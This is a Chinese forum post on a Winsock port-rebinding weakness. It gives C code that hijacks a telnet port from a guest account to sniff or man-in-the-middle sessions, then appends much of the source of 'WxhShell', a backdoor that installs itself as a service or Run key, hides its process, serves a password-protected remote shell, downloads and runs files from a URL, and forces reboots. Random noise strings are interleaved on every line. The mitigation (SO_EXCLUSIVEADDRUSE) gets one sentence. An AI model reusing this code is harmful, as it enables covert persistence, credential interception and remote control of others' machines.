社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19544阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 'e]HP-Y<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C.>  
'_qQrP#  
  saddr.sin_family = AF_INET; r!$'!lCR  
sz/*w7  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); l RDxIuTK  
k(EMp1[:nN  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ] *-;' *  
uuSR%KK]|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :)p)=c8%  
-|}%~0)/bH  
  这意味着什么?意味着可以进行如下的攻击: BR36}iS;V  
%X4-a%512  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 'j,oIqx  
>?5xDbRj  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) b]*X<,p  
CV&zi6  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 gg-};0P-  
H&X:!xa5  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  sEce{"VC  
oYz!O]j;a  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 yGiP[d|tRc  
f=ac I|w  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \=!H2M  
|2)Sd[ q  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <%z@  
4:vTxNs&S  
  #include XFW5AP  
  #include *hVb5CS  
  #include [pii  
  #include    X Orcygb2  
  DWORD WINAPI ClientThread(LPVOID lpParam);    I>A^I  
  int main() -bypuMQ-p  
  { R]u (l+`  
  WORD wVersionRequested; }^"0T-ua  
  DWORD ret; P##Z[$IJ3  
  WSADATA wsaData; W`$[j0  
  BOOL val; G0}Dq M Ti  
  SOCKADDR_IN saddr; I:#Ok+   
  SOCKADDR_IN scaddr; TPHYz>D]  
  int err; AD]e0_E  
  SOCKET s; Qyz>ZPu}sz  
  SOCKET sc; %[w Tz$S"  
  int caddsize; {FWyu5.  
  HANDLE mt; 3gpo %  
  DWORD tid;   -vV'Lw(  
  wVersionRequested = MAKEWORD( 2, 2 ); lop uf/U0  
  err = WSAStartup( wVersionRequested, &wsaData ); dK.R[ aQ  
  if ( err != 0 ) { {I{3(M#"  
  printf("error!WSAStartup failed!\n"); wcZbmJ:  
  return -1; {"m0)G,G  
  } :#{-RU@PS  
  saddr.sin_family = AF_INET; 1Bg_FPu  
   EKuSnlTXba  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?; [ T  
S[mM4et|  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); QH~Jy*\+PX  
  saddr.sin_port = htons(23); 'wZ_4XjD  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R& #tSL  
  { !\;:36B#6  
  printf("error!socket failed!\n"); ,=|4:F9  
  return -1; /s|{by`we4  
  } CWi8Fv  
  val = TRUE;  (#o t^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 E-fr}R}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )iU^&@[S  
  { %/T7Z; d  
  printf("error!setsockopt failed!\n"); =g~W%})  
  return -1; :CaTP%GW  
  } @2 =z}S3O  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !>n|c$=;qk  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 jl}$HEI5m}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 g9KTn4  
,Ff n)+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]^ K;goQv  
  { 5G(E&>~  
  ret=GetLastError(); y-9+a7j  
  printf("error!bind failed!\n"); {%b }Z2  
  return -1; LA4<#KP  
  } MBw-*K'?zB  
  listen(s,2); %NajFjBI  
  while(1) CzVmNy)kl  
  { %8mm Hh  
  caddsize = sizeof(scaddr); g97]Y1g  
  //接受连接请求 ;..o7I  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); i ]o"_=C  
  if(sc!=INVALID_SOCKET) WVX`<  
  { _xrwu;o0}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); R7?29?$7  
  if(mt==NULL) >w|*ei:@S  
  { Dl C@fZD  
  printf("Thread Creat Failed!\n"); n~g LPHY  
  break; XOy2lJ/  
  } OP! R[27>  
  } {0v*xL_O^  
  CloseHandle(mt); Gy"%R-j7  
  } 0CAa^Q^w  
  closesocket(s); K84^ Oq  
  WSACleanup(); #=,imsW)  
  return 0; ]lBGyUJn  
  }   60}! LmL  
  DWORD WINAPI ClientThread(LPVOID lpParam) +K~NV?c  
  { iwF9[wAft  
  SOCKET ss = (SOCKET)lpParam; ?j O 5 9n  
  SOCKET sc; 3x@<Z68S  
  unsigned char buf[4096]; pyZ9OA!PD  
  SOCKADDR_IN saddr; .Y*f2A.v  
  long num; LM)`CELsYc  
  DWORD val; NHQF^2\\  
  DWORD ret; )R2XU  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1X1 N tS @  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   K^[#]+nQ  
  saddr.sin_family = AF_INET; Vb|#MNf)  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); C$yq\C+I  
  saddr.sin_port = htons(23); kv{}C)kt3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) FMw&(  
  { )_7>nuQ6  
  printf("error!socket failed!\n"); ';B#Gx  
  return -1; O9M{  ).  
  } b=;nm#cAI  
  val = 100; <|B1wa:|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) BJ}D%nm}  
  { w.{&=WTr  
  ret = GetLastError(); ]0V}D,V($  
  return -1; J^#:qk  
  } N)2f7j4C &  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9xI GV!  
  { dl-l"9~;  
  ret = GetLastError(); H}}$V7]^),  
  return -1; 3VO2,PCZ  
  } u+m,b76  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) */qtzt  
  { r=uN9ro  
  printf("error!socket connect failed!\n"); pKUP2m`MW  
  closesocket(sc); kOwMs<1J  
  closesocket(ss); C4$:mJ>y  
  return -1; 4BL;FO  
  } ;|T!#@j  
  while(1) d*8 $>GA  
  { xM>W2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4R^mI  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !|hoYU>@2L  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 '@|_OmcY  
  num = recv(ss,buf,4096,0); Bq\F?zk<  
  if(num>0) z4%uN |V  
  send(sc,buf,num,0); yF}OfK?0f  
  else if(num==0) f5*k7fg  
  break; 6 gL=u-2  
  num = recv(sc,buf,4096,0); !LMN[3M_  
  if(num>0) a]17qMl  
  send(ss,buf,num,0); z /KK)u(q  
  else if(num==0) Ks^6.)  
  break; ]B"'}%>ez  
  } C&LBr|  
  closesocket(ss); 6k{2 +P  
  closesocket(sc); lz#GbXn.  
  return 0 ; =uk0@hy9b  
  } x5`br.b  
GcIDG`RX  
;7]u!Q  
========================================================== {e[%;W%c&  
3`d}~v{  
下边附上一个代码,,WXhSHELL Ars687WB  
[yl sz?  
========================================================== oVA?J%EK  
cMyiW$;  
#include "stdafx.h" 4a0:2 kIKa  
'w>_+jLT  
#include <stdio.h> +;$oJJ  
#include <string.h> e0@ 6Pd  
#include <windows.h> Re:jVJg Bz  
#include <winsock2.h> H9h@sSg  
#include <winsvc.h> `p;eIt  
#include <urlmon.h> p.ANVA@:  
P 71(  
#pragma comment (lib, "Ws2_32.lib") ~!s-o|N_\  
#pragma comment (lib, "urlmon.lib") Vd".u'r  
R>DaOH2K*  
#define MAX_USER   100 // 最大客户端连接数 RZM"~ 0  
#define BUF_SOCK   200 // sock buffer }I 3gU  
#define KEY_BUFF   255 // 输入 buffer 56^ +;^f^`  
JdIlWJY  
#define REBOOT     0   // 重启 CTWn2tpW  
#define SHUTDOWN   1   // 关机 t+5E#!y  
mj|)nOd  
#define DEF_PORT   5000 // 监听端口 j4?@(u9;j  
q@b|F-  
#define REG_LEN     16   // 注册表键长度 \V9Z #>  
#define SVC_LEN     80   // NT服务名长度 -.g|l\  
NCxqh<  
// 从dll定义API -':Y\:W  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Hzrtlet  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [: xiZ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~m|Mg9-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KIR'$ 6pn~  
M?=;JJ:  
// wxhshell配置信息 da1]mb=4 5  
struct WSCFG { GN KF&M  
  int ws_port;         // 监听端口 uB!kM  
  char ws_passstr[REG_LEN]; // 口令 2H.654  
  int ws_autoins;       // 安装标记, 1=yes 0=no j p $Z]  
  char ws_regname[REG_LEN]; // 注册表键名 763+uFx^  
  char ws_svcname[REG_LEN]; // 服务名 &/Ro lIHF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2X:4CC%5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t){"Tf c:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -(O-%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _qb Ih  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {Fzs@,|W.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;<UWA.  
`ptj?6N-  
}; G^q3Z#P  
gM [w1^lj  
// default Wxhshell configuration m*$|GW9  
struct WSCFG wscfg={DEF_PORT, 5{n*"88  
    "xuhuanlingzhe", 5K|"\  
    1, Ed9Z9  
    "Wxhshell", P"<U6zM\sP  
    "Wxhshell", Ou{v/'9z,  
            "WxhShell Service", ##Z_QB(;  
    "Wrsky Windows CmdShell Service", b;)~wU=  
    "Please Input Your Password: ", %0? M?Jf  
  1, J9K3s_SN  
  "http://www.wrsky.com/wxhshell.exe", ^(* n]  
  "Wxhshell.exe" oI^4pwnh  
    }; VCtH%v#S;.  
p{PE@KO:  
// 消息定义模块 -s9P 8W  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7}*6#KRG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6U^\{<h_c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /r12h|  
char *msg_ws_ext="\n\rExit."; $T :un.TM  
char *msg_ws_end="\n\rQuit."; ' B  
char *msg_ws_boot="\n\rReboot..."; ID.n1i3  
char *msg_ws_poff="\n\rShutdown..."; 5OoN!TEM  
char *msg_ws_down="\n\rSave to "; }du XC[6  
:VF<9@t  
char *msg_ws_err="\n\rErr!"; lg047K   
char *msg_ws_ok="\n\rOK!"; lV.F,3  
jE#O>3+.  
char ExeFile[MAX_PATH]; H3Se={5h\A  
int nUser = 0; 5e sQ;  
HANDLE handles[MAX_USER]; !"+'A)Nve  
int OsIsNt; iS5W>1]  
O5H9Y}i]  
SERVICE_STATUS       serviceStatus; hDV20&hq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :>itXD!  
3s"0SLS4  
// 函数声明 PvGDTYcKp  
int Install(void); Jvun?J m  
int Uninstall(void); RZ1 /#;  
int DownloadFile(char *sURL, SOCKET wsh); Fu^ ^i&  
int Boot(int flag); &K/FyY5  
void HideProc(void); \^#~@9  
int GetOsVer(void); _0 gKK2  
int Wxhshell(SOCKET wsl); _gD pKEaY  
void TalkWithClient(void *cs); &YDK (&>  
int CmdShell(SOCKET sock); JsO *1{6g  
int StartFromService(void); iMfngIs |  
int StartWxhshell(LPSTR lpCmdLine); XJ2^MF2BU  
kh%{C] ".1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3=W!4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9o>8o  
Z'H5,)j0R  
// 数据结构和表定义 &i!vd/*WlD  
SERVICE_TABLE_ENTRY DispatchTable[] = g#]wLm#  
{ @y31NH(  
{wscfg.ws_svcname, NTServiceMain}, p">EHWc}D  
{NULL, NULL} P,sjo u^  
}; j[Uxa   
9}z0J  
// 自我安装 QM?#{%31  
int Install(void) &sF^Fgg{  
{ G<M:Ak+~  
  char svExeFile[MAX_PATH]; s&GJW@ |  
  HKEY key; _,</1~.  
  strcpy(svExeFile,ExeFile); qH['09/F6  
`Y?87f:SP  
// 如果是win9x系统,修改注册表设为自启动 <, 3ROo76  
if(!OsIsNt) { -gQCn>"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vky.^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A{B/lX)  
  RegCloseKey(key); XNgDf3T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w>b-} t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JJRK7\~$  
  RegCloseKey(key); x1 1U@jd+1  
  return 0; )*c> |7G  
    } :a:l j  
  } "[:iXRu  
} k<+0o))  
else { S.!UPkWH  
:$+-3_oLMQ  
// 如果是NT以上系统,安装为系统服务 L],f3<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); S(:l+JP  
if (schSCManager!=0) t20PP4FWM  
{ .UoOO'1K  
  SC_HANDLE schService = CreateService ZIdA\_c  
  ( fb  da  
  schSCManager, ;l$ \6T  
  wscfg.ws_svcname, ITy/eZ"&:  
  wscfg.ws_svcdisp, BPr ^D0P  
  SERVICE_ALL_ACCESS, ?JxbSK#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "`[!Lz  
  SERVICE_AUTO_START, (LHp%LaZ\;  
  SERVICE_ERROR_NORMAL, e$Y[Z{T5  
  svExeFile, GA`PY-Vs)  
  NULL, W[+|}  
  NULL, V(Yxh+KU  
  NULL, CIVnCy z  
  NULL, -l}IZY  
  NULL /s];{m|>  
  ); >&!RWH9*q  
  if (schService!=0) vy,&N^P  
  { Bvt@X   
  CloseServiceHandle(schService); ;60.l!   
  CloseServiceHandle(schSCManager); 5Zw1y@k(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y wkyq>Rv  
  strcat(svExeFile,wscfg.ws_svcname); H:H6b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u{z``]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ej7 /X ~  
  RegCloseKey(key); Blq8H"3!:  
  return 0; pWu LfX  
    } 34!dYr%  
  } RI2f`p8k  
  CloseServiceHandle(schSCManager); H'F6$ypoS  
} 1N2,mo?2  
} _Jv 9F8v  
&Z?ut *%S  
return 1; SE7WF18A  
} ASPy  
+h_ !0dG  
// 自我卸载 U:F/ iXz  
int Uninstall(void) >yJ9U,Y  
{ dz>;<&2Z  
  HKEY key; a}SdW  
.WQ<jZt>  
if(!OsIsNt) { ,<DB&&EV8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (z$r:p  
  RegDeleteValue(key,wscfg.ws_regname); 6WoAs)ZF  
  RegCloseKey(key); 7*DMVok:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1}ZKc=Pfu  
  RegDeleteValue(key,wscfg.ws_regname); `pd&se'p  
  RegCloseKey(key); Yl;^ k0ZI  
  return 0; w;v7_  
  } d*pF>j  
} aCV4AyG  
} L!_ZY  
else { >+5?F*`\D*  
;V<iL?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); DP/J (>eG  
if (schSCManager!=0) P'MY[&|mM'  
{ }bU8G '  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /MQU >&  
  if (schService!=0) *Ywpz^2?:  
  { T!W~n ZC  
  if(DeleteService(schService)!=0) { R_sC! -  
  CloseServiceHandle(schService); 2wqk,c[]  
  CloseServiceHandle(schSCManager); .lhn;*Yi  
  return 0; ^[Cv26  
  } w<9>Q1(  
  CloseServiceHandle(schService); 5BR5X\f0  
  } juBw5U<  
  CloseServiceHandle(schSCManager); ;d$qc<2uA  
} VGL#!4wK  
} ~"Gf<3^y+  
d7Ur$K\=y  
return 1; FZiW|G  
} A|}l)!%  
'2zL.:~  
// 从指定url下载文件 2}?wYI*:5|  
int DownloadFile(char *sURL, SOCKET wsh) l:]Nn%U(>  
{ ~8|t*@D  
  HRESULT hr; :T3/yd62N  
char seps[]= "/"; &4dz}zz90  
char *token; #[MJ|^\i  
char *file; iA_8(Yo  
char myURL[MAX_PATH]; ydv3owN  
char myFILE[MAX_PATH]; ~8`:7m?  
Ut]+k+ 4  
strcpy(myURL,sURL); *sQcg8{^  
  token=strtok(myURL,seps); _B2V "p  
  while(token!=NULL) >*twTlb{  
  { Wl^R8w#Z$  
    file=token; m"c :"I6  
  token=strtok(NULL,seps); TaJB4zB  
  } 4(?G6y)  
1G~S |,8p  
GetCurrentDirectory(MAX_PATH,myFILE); aKF*FFX  
strcat(myFILE, "\\"); Q-rL$%~='  
strcat(myFILE, file); Y<\^ 7\[x  
  send(wsh,myFILE,strlen(myFILE),0); W&:[r/8wA  
send(wsh,"...",3,0); zBf-8]"^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !e#xx]v3  
  if(hr==S_OK) ihT~xt  
return 0; URcR  
else Uh.Zi3X6}6  
return 1; !k$}Kj)I  
vtJV"h?e"3  
} N12:{U  
"%8A :^1  
// 系统电源模块 A{o'z_zC  
int Boot(int flag) uQLlA&I"  
{ Y^"4?96  
  HANDLE hToken; 1-I Swd'u  
  TOKEN_PRIVILEGES tkp; *5%*|>  
[-*F"}D,  
  if(OsIsNt) { ~#:e*:ro  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0@1:M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wN37zPnV~  
    tkp.PrivilegeCount = 1; ;@ WV-bLe  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WKA'=,`v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D 7shiv|,  
if(flag==REBOOT) { J3S&3+2G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r0m)j  
  return 0; T#:F]=  
} vd#,DU=p!  
else { 2>S~I"o0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?3sT" r_d@  
  return 0; MWuXI1  
} d_}a`H  
  } HW=xvA+  
  else { "C%!8`K{a*  
if(flag==REBOOT) { D1,O:+[;.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  Kn+=lCk  
  return 0; ;i#LIHJ  
} \9)[ #Ld  
else { Mj0Cat=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p}]q d4j  
  return 0; MBk"KF  
} #`GbHxd  
} }wt%1v-10U  
aj|5 #  
return 1; [UPNd!sy  
} X=qS"O 1  
o 6j"OZcv  
// win9x进程隐藏模块 ioIv=qGdiP  
void HideProc(void) DOD6Liau{Q  
{ =.m6FRsU  
X<Za9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b5ie <s  
  if ( hKernel != NULL ) UPCQs",  
  { coQ[@vu  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ){Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DM7}&~  
    FreeLibrary(hKernel); 1JTbCS  
  } 9+CFRYC  
zjbE 7^ N  
return; sz09+4h#  
} bLG]Wa  
Wb=Jj 9;  
// 获取操作系统版本 l%"`{   
int GetOsVer(void) =xEk7'W6k  
{ cV$lobqO  
  OSVERSIONINFO winfo; L@|#Bbmx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y{rn-?`{  
  GetVersionEx(&winfo); C@dGWAG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F%6*Df;cSe  
  return 1; #0MK(Ut/  
  else qR,.W/eS8  
  return 0; *M!kA65'  
} `ENP=kL(+  
./maY1>T  
// 客户端句柄模块 9EgP9up{6!  
int Wxhshell(SOCKET wsl) {Qtq7q.  
{ jW5iqU"{*  
  SOCKET wsh; +BB0wY  
  struct sockaddr_in client; eYP=T+  
  DWORD myID; ]UUI~sFE  
7u%a/<  
  while(nUser<MAX_USER) IlHY%8F{  
{ n!.2aq  
  int nSize=sizeof(client); t!l%/$-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :4;S"p  
  if(wsh==INVALID_SOCKET) return 1; <%!J?  
Jirct,k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4]6Qr  
if(handles[nUser]==0) &G{2s J5{  
  closesocket(wsh); HCc`  
else EODB`$+  
  nUser++; 8$ DwpJ  
  } *caLN,G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M'u=H  
,RK3eQ  
  return 0; ?vu|o'$T,  
} ltEF:{mLe#  
{'IFWD.5  
// 关闭 socket {% F`%_{"  
void CloseIt(SOCKET wsh) VN|G5*  
{ Pf8u/?/  
closesocket(wsh); fNxw&ke8&  
nUser--; yisLypM*  
ExitThread(0); _'c+fG \  
} %8Yyj{^!(  
_W9&J&l0so  
// 客户端请求句柄 rbh[j@s@  
void TalkWithClient(void *cs) v' 0!=r  
{ <|JU(B  
S8*>kM'  
  SOCKET wsh=(SOCKET)cs; [2H[5<tH  
  char pwd[SVC_LEN]; ,Oi^ySn  
  char cmd[KEY_BUFF]; .YiaXP  
char chr[1]; 5+FLSk  
int i,j; oWD)+5. ]  
7)PJ:4IqS  
  while (nUser < MAX_USER) { 1 ;Ju]  
@ KJV1t`  
if(wscfg.ws_passstr) { ?>)yKa#U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /| f[us-w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uo 4xnzc  
  //ZeroMemory(pwd,KEY_BUFF); ?waebuj>  
      i=0; ]^ !}*  
  while(i<SVC_LEN) { T&4fBMBp,%  
j)Lo'&Y~=  
  // 设置超时 ;@!;1KDy  
  fd_set FdRead; )d_U)b7i  
  struct timeval TimeOut; #01/(:7  
  FD_ZERO(&FdRead); #ko6L3Pi  
  FD_SET(wsh,&FdRead); sy.:T]ZH  
  TimeOut.tv_sec=8; cKpQr7]ur  
  TimeOut.tv_usec=0; AY@k-4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @H4wHlb  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kd`YSkZ  
EP0a1.C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OequU'j  
  pwd=chr[0]; )]}$   
  if(chr[0]==0xd || chr[0]==0xa) { >Qk97we'9  
  pwd=0; ER2V*,n@  
  break; 7V/Zr  
  } I}ndRDz[  
  i++; .pKN4  
    } 0lf"w@/  
l]u7.~b  
  // 如果是非法用户,关闭 socket +Z$a1 Y@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cE 2Rr  
} DCK_F8  
"MTq{f2?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C,3T!\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [$oM  
(ic@3:xR  
while(1) { EGEMZCdk2  
`=v@i9cTZ  
  ZeroMemory(cmd,KEY_BUFF); DZ%8 |PmB  
5IO3 %p?  
      // 自动支持客户端 telnet标准   _;V YFs  
  j=0; .Map   
  while(j<KEY_BUFF) { K_FBy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a^x  0 l  
  cmd[j]=chr[0]; ja:\W\xhJ  
  if(chr[0]==0xa || chr[0]==0xd) { ME,duY/>Q  
  cmd[j]=0; v'$ykZ!Z  
  break; uAQg"j  
  } 3m~U(yho  
  j++; (Y>U6  
    } ) _ #T c  
|/t K-c6J  
  // 下载文件 rSbQ}O4V  
  if(strstr(cmd,"http://")) { >["Kd.ye  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "|\94  
  if(DownloadFile(cmd,wsh)) 3} l;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z(r" JNO@  
  else ]svw CPu C  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )Jmw|B  
  } 8vu2k>  
  else { vo.EM1x  
hOV_Oqe4?  
    switch(cmd[0]) { 1k`|[l^  
   rA2qV  
  // 帮助 i'9e K O  
  case '?': { fA;x{0CAMX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m9uUDq#GJ  
    break; tPA"lBS !  
  } HN^w'I'bp  
  // 安装 )y5iH){ !  
  case 'i': { FmR\`yY_,  
    if(Install()) lej^gxj/2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wl?<c uw00  
    else `dP? 2-Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Scf.4~H 0  
    break; 2Sv>C `FMU  
    } aTi0bQW{  
  // 卸载 `yy%<&  
  case 'r': { <'VA=orD  
    if(Uninstall()) %OTQRe:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "rL"K  
    else Un~]Q?w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D_zcOq9  
    break; ;Kt'Sit  
    } ^9n}-Cqeq  
  // 显示 wxhshell 所在路径 D~XU `;~u  
  case 'p': { 7Z9.z 4\  
    char svExeFile[MAX_PATH]; "hJ7 Vv_  
    strcpy(svExeFile,"\n\r"); {P,>Q4N  
      strcat(svExeFile,ExeFile); aS2a_!f  
        send(wsh,svExeFile,strlen(svExeFile),0); 8U8P g2  
    break; JB641nv  
    } e_tZja2s  
  // 重启 iz,]%<_PE  
  case 'b': { l A 0-?k  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^V_ku@DY  
    if(Boot(REBOOT)) |)~Ex 9%ev  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bi %Z2/  
    else { ?]759,Q3L  
    closesocket(wsh); ;B,nzx(L  
    ExitThread(0); 6oPUYn-  
    } +!D=SnBGs  
